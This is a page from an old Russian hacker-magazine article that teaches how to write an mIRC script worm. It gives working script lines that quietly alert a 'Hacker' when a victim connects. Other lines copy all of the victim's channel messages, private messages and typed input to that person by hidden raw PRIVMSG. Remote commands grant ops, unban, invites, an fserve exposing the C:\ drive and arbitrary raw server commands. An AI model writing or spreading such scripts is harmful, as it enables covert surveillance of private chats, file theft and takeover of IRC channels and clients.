|

IRC-вирусы
Xakep, номер #021, стр. 021-060-5
n40=on 1:connect: .msg Hacker Пользователь $nick с вирусом появился на IRC.
Как я уже сказал, перед командой ставится не "/", а "." - точка, тогда выполнение команды не отображается пользователю, и он ничего не увидит. Итак, пользователь подключается, а скрипт отсылает соответствующее сообщение некоему Hacker'у. Можно добавить немного информации к этому сообщению - например, IP-адрес ламы, сервер и порт, к которым он подключился. Но просто сообщениями о пользователях дело может и не закончиться. Можно запросто видеть все, о чем говорит бедняга не только на каналах, но и в привате!
n20=on 1:text:*:#:.raw -q PRIVMSG Hacker : $+ < $+ $ n i c k @ $chan $+ > $1-
n21=on 1:text:*:?:.raw -q PRIVMSG Hacker: $+ < $+ $ n i c k @MSG> $1-
n22=on 1:input:#:.raw -q PRIVMSG Hacker: $+ < $+ $me @ $chan $+ > $1-
Команда /raw позволяет общаться с сервером IRC напрямую, минуя IRC-клиента. Это позволяет обрабатывать команды, которые не исполняются IRC-клиентом или выполняются не так, как нам того хочется. В данном случае все нужно делать тихо, поэтому выполняем не команду /msg, а /raw PRIVMSG. (Еще раз напомню, что лучшим помощником в написании скрипто-червяков для mIRC может стать только хелпфайл самого mIRC!!!) В обработчик "on text" просто делается копия всего содержимого сообщения еще одному человеку - Hacker'у, то есть тебе. ;-) Чтобы не светиться на канале, сообщение копируется в приват. Можно было бы сделать не приват-сообщения, а просто копии на какой-нибудь канал, но это уже для случая, когда ламосов с пораженным mIRC'ом очень много. Обработчик "on input" отвечает за ввод с клавиатуры, так что когда мы обрабатываем сразу два этих события ("on text" и "on input"), скрипт будет ловить абсолютно все разговоры.
Есть еще много функциональных возможностей для таких червяков. IRC - просто кладезь полезных функций. Например, можно заставить червяка подчиняться нам "на расстоянии". Скажем, если выгнали с канала, а Оп'а на канале, будет "установлен" наш червяк, в котором будет написано:
n7=on 1:text:*unban*:?:{ .mode $chan -b $ n i c k | .closemsg $ n i c k }
то можно запросто себя восстановить на канале, послав ему сообщение в приват со словом "unban". Точно так же можно заставить червяка подчиняться удаленно. Например, следующими командами в скрипте:
n3=on 1:text:*ftp*:#:.fserve $ n i c k 1 c:\
n4=on 1:text:*op*:?:{ .mode $chan +o $ n i c k | .closemsg $ n i c k }
n5=on 1:text:*invite*:?:{ .invite $ n i c k $2 | .closemsg $ n i c k }
n6=on 1:text:*exit now*:#: { .exit }
n7=on 1:text:*try*:#: .raw $2 $3 $4
Первая строчка предоставляет по первому требованию доступ к диску C:\. Указанная после команды fserve единичка означает максимальное количество файлов, которые можно будет зааплоадить юзеру за один присест. Вторая строчка назначит любого, кто скажет "ops!", оператором на канале... со всеми вытекающими последствиями. ;-) Строчка под названием n5 позволит зайти на канал, куда нельзя зайти без приглашения. Очень удобно. ;-))) Предпоследняя строчка просто закроет окно mIRC. А последняя строчка после прочтения хелпфайла и еще пары док ;-) позволит для IRC-клиента и нашим "клиентам" выполнить любую команду, которая поддерживается IRC-сервером.
Назад на стр. 021-060-4 Содержание Вперед на стр. 021-060-6
|